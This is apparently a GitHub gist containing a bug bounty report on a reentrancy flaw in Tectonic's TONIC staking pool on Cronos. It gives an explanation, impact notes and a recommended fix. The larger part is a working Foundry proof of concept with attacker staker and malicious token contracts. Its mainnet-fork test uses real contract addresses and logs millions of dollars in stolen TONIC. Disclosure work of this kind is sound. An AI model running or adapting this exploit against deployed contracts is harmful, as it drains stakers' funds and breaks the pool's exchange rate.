Skip to content

Instantly share code, notes, and snippets.

@fatherGoose1
Created March 22, 2024 16:43
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save fatherGoose1/690fa2d8245488b6750b67a0fdeb34bc to your computer and use it in GitHub Desktop.
Save fatherGoose1/690fa2d8245488b6750b67a0fdeb34bc to your computer and use it in GitHub Desktop.
Bug report of Tectonic (Cronos) reentrancy to mint tokens at 100x actual rate.

Bug Description

There is a reentrancy vulnerability in TectonicStakingPoolV3.sol (https://cronoscan.com/address/0xE165132FdA537FA89Ca1B52A647240c2B84c8F89).

The issue arises due to the function performConversionForTokens() which is currently open for anyone to call because tcmPublicAccess is currently true. During a call to performConversionForTokens(), reentrancy can be achieved with the end result being the free minting of xTonic tokens. A brief description of the token conversion process:

  • The staking pool contract holds predominantly TONIC.
  • Other approved tokens held by the staking pool can be swapped for TONIC. For example, if the pool holds some WCRO, it can be swapped for TONIC using performConversionForTokens() which increases the contract's TONIC balance, thus increasing rewards for its stakers.
  • Upon successful conversion, any extra TONIC that was received during the swap (more than the oracle quote) is sent to the function caller as a reward.

The issue with the above is that a caller can provide a swap path with a malicious token in the middle that diverts execution to an attacker contract. If the attacker contract calls stakingPool.stake() and stakes their own TONIC into pool, they are:

  • minted xTonic
  • They are "rewarded" with the extra TONIC that was received.

Essentially, the attacker mints xTonic for free.

The attacker can then unstake and release the xTonic back into TONIC, making a huge profit.

In the below POC, an attacker that holds $23,000 worth of TONIC can steal over $2,500,000 in a single transaction. Initially holding more TONIC or simply running the attack multiple times will drain the entire contract.

More Details

Upon calling performConversionForTokens(), the pool contract delegatecalls to the Token Conversion Module contract.

function performConversionForERC20(address[] memory _path, uint _amount) internal returns (Error errorCode, uint tonicAmount, uint minTonicAmount, uint swappedAmount){
        uint inputBalance = ERC20(_path[0]).balanceOf(address(this));
        uint decimal = ERC20(_path[0]).decimals();

        if(inputBalance == 0){
            return(Error.ZERO_TOKEN_BALANCE, 0, 0, 0);
        }
        if(inputBalance < _amount){
            return(Error.INSUFFICIENT_TOKEN_BALANCE, 0, 0, 0);
        }
        if( _amount == 0 ){
            _amount = inputBalance;
        }

        // TODO: Review 
        (uint amountOutMin, address to, uint deadline) = _getSwapParams(_path[0], _amount, decimal);

        uint tonicBalanceBefore = tonic.balanceOf(address(this));

        ERC20(_path[0]).approve(address(vvs), _amount);

        vvs.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            _amount,
            amountOutMin,
            _path,
            to,
            deadline
        );
        uint tonicBalanceAfter = tonic.balanceOf(address(this));
        tonicAmount = tonicBalanceAfter - tonicBalanceBefore;
        require(tonicAmount >= amountOutMin, "Underbought tonic");
        minTonicAmount = amountOutMin;
        swappedAmount = _amount;

As you can see, it calculates a tonicBalanceBefore, then performs the swap, then calculates a tonicBalanceAfter. Since the attacker can gain control of execution by injecting a malicious token in the middle of the swap path, they are able to stake their TONIC prior to the tonicBalanceAfter calculation. Their stake will be counted as extra TONIC received from the swap, which will be rewarded back to the attacker.

Impact

  • Draining of funds from the pool
  • Freezing of user funds: A single attack will mess up the TONIC/xTonic exchange rate. Users will be able to withdraw less than they deposited. Currently the Exchange rate sits at 59% but increases to 73% after a single attack.

Risk Breakdown

Difficulty to Exploit: Easy

Recommendation

Guard the performConversionForTokens() function. Or require that the entire swap path be whitelisted. Currently, only the input and output tokens are checked.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
import "openzeppelin-contracts/contracts/token/ERC721/IERC721.sol";
import "ds-test/test.sol";
import "forge-std/Script.sol";
import "forge-std/Test.sol";

pragma solidity ^0.8.17;

interface IWCRO {
    function deposit() external payable;

    function transfer(address recipient, uint256 amount) external;
}

interface IVVSFactory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IPair {
    function sync() external;
}

interface ITectonicStakingPoolV3 {
    function stake(uint amount) external;

    function unstake(uint amount) external;

    function release() external;

    function _cooldownPeriod() external returns (uint32);

    function performConversionForTokens(
        address[][] memory _paths,
        uint[] memory _amounts
    ) external;

    function getExchangeRate() external returns (uint256);
}

interface IAttackerStaker {
    function stake() external;

    function unstake(uint256 amount) external;
}

contract AttackerStaker {
    ITectonicStakingPoolV3 stakingPool =
        ITectonicStakingPoolV3(0xE165132FdA537FA89Ca1B52A647240c2B84c8F89);
    IERC20 tonic = IERC20(0xDD73dEa10ABC2Bff99c60882EC5b2B81Bb1Dc5B2);
    IERC20 xTonic = IERC20(0x1Bc9B7D4bE47b76965a3F8e910B9DDD83150840f);

    function attack(address[][] memory paths, uint[] memory amounts) external {
        for (uint256 i = 0; i < 100; i++) {
            stakingPool.performConversionForTokens(paths, amounts);
        }
        uint256 xTonicBalance = xTonic.balanceOf(address(this));
        xTonic.approve(address(stakingPool), xTonicBalance);
        stakingPool.unstake(xTonicBalance);
    }

    function stake() public {
        uint256 _amount = tonic.balanceOf(address(this));
        if (_amount == 0) {
            return;
        }
        tonic.approve(address(stakingPool), _amount);
        stakingPool.stake(_amount);
    }

    function release() external {
        stakingPool.release();
        tonic.transfer(msg.sender, tonic.balanceOf(address(this)));
    }
}

contract AttackerToken {
    mapping(address => uint256) public _balances;
    uint256 private _totalSupply;
    address owner = 0xcAFD40cdb94cA40E535f66D8Ad33d9b62768378f;

    IAttackerStaker staker;

    constructor(address _staker) {
        _mint(msg.sender, 100 ** 18);
        staker = IAttackerStaker(_staker);
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public returns (bool) {
        _transfer(sender, recipient, amount);
        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal {
        // ATTACK //
        if (sender != owner) {
            staker.stake();
        }

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _balances[sender] = _balances[sender] - amount;
        _balances[recipient] = _balances[recipient] + amount;
    }

    function _mint(address account, uint256 amount) internal {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply = _totalSupply + amount;
        _balances[account] = _balances[account] + amount;
    }

    function _burn(address account, uint256 value) internal {
        require(account != address(0), "ERC20: burn from the zero address");

        _totalSupply = _totalSupply - value;
        _balances[account] = _balances[account] - value;
    }
}

pragma solidity ^0.8.17;

contract Cronos is Test {
    address attacker = 0xa6F9bFd60cedD88b81aA23C2b188569cE352bbe3;
    IERC20 tonic = IERC20(0xDD73dEa10ABC2Bff99c60882EC5b2B81Bb1Dc5B2);
    IERC20 xTonic = IERC20(0x1Bc9B7D4bE47b76965a3F8e910B9DDD83150840f);
    IWCRO WCRO = IWCRO(0x5C7F8A570d578ED84E63fdFA7b1eE72dEae1AE23);

    IVVSFactory vvsFactory =
        IVVSFactory(0x3B44B2a187a7b3824131F8db5a74194D0a42Fc15);
    ITectonicStakingPoolV3 stakingPool =
        ITectonicStakingPoolV3(0xE165132FdA537FA89Ca1B52A647240c2B84c8F89);

    function setUp() external {
        string memory fork = "https://evm.cronos.org";
        vm.createSelectFork(fork, 11179105);
    }

    // function logData(uint256 stepNum, address _staker) public view {
    //     console.log("Step %i", stepNum);

    //     uint256 attackerTonic = tonic.balanceOf(attacker);
    //     uint256 attackerXTonic = xTonic.balanceOf(attacker);
    //     uint256 stakerTonic = tonic.balanceOf(_staker);
    //     uint256 stakerXTonic = xTonic.balanceOf(_staker);
    //     console.log("attacker tonic: %i", attackerTonic);
    //     console.log("attacker xTonic: %i", attackerXTonic);
    //     console.log("staker tonic: %i", stakerTonic);
    //     console.log("staker xTonic: %i", stakerXTonic);
    //     console.log();
    // }

    function testStealFunds() external {
        // console.log("attacker Address: %s", attacker);

        vm.startPrank(attacker);
        WCRO.deposit{value: 1000}();

        AttackerStaker attackerStaker = new AttackerStaker();
        AttackerToken attackerToken = new AttackerToken(
            address(attackerStaker)
        );

        address attackerPair0 = vvsFactory.createPair(
            address(attackerToken),
            address(WCRO)
        );
        address attackerPair1 = vvsFactory.createPair(
            address(attackerToken),
            address(tonic)
        );
        // console.log("Attacker Pair0: %s", attackerPair0);
        // console.log("Attacker Pair1: %s", attackerPair1);

        attackerToken.transfer(attackerPair0, 1000);
        WCRO.transfer(attackerPair0, 1000);
        attackerToken.transfer(attackerPair1, 1000);
        tonic.transfer(attackerPair1, 10 ** 18);

        tonic.transfer(address(attackerStaker), tonic.balanceOf(attacker));

        IPair(attackerPair0).sync();
        IPair(attackerPair1).sync();

        uint256 initialAttackerTonic = tonic.balanceOf(attacker) +
            tonic.balanceOf(address(attackerStaker));
        uint256 initialAttackerXTonic = xTonic.balanceOf(attacker) +
            xTonic.balanceOf(address(attackerStaker));
        uint256 initialXTonicSupply = xTonic.totalSupply() / 10 ** 18;

        address[][] memory paths = new address[][](1);
        paths[0] = new address[](3);
        paths[0][0] = address(WCRO);
        paths[0][1] = address(attackerToken);
        paths[0][2] = address(tonic);

        uint256[] memory amounts = new uint256[](1);
        amounts[0] = 100;

        attackerStaker.attack(paths, amounts);

        console.log(
            "Minted %i% of total supply: ",
            (((xTonic.totalSupply() / 10 ** 18) - initialXTonicSupply) * 100) /
                initialXTonicSupply
        );

        uint32 cooldownPeriod = stakingPool._cooldownPeriod();
        vm.roll(block.number + cooldownPeriod + 1);
        attackerStaker.release();

        uint256 finalAttackerTonic = tonic.balanceOf(attacker) +
            tonic.balanceOf(address(attackerStaker));
        uint256 tonicDiff = finalAttackerTonic - initialAttackerTonic;
        console.log("Tonic gained: %i", tonicDiff / 10 ** 18);

        console.log();
        console.log(
            "The stolen tonic is worth over $2,500,000 after a single attack, starting with only $23,000 worth of Tonic."
        );
        console.log(
            "The attacker can repeat this attack as many times as they want or start with more capital."
        );
        console.log("Final Exchange Rate: %i", stakingPool.getExchangeRate());

        vm.stopPrank();
    }
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment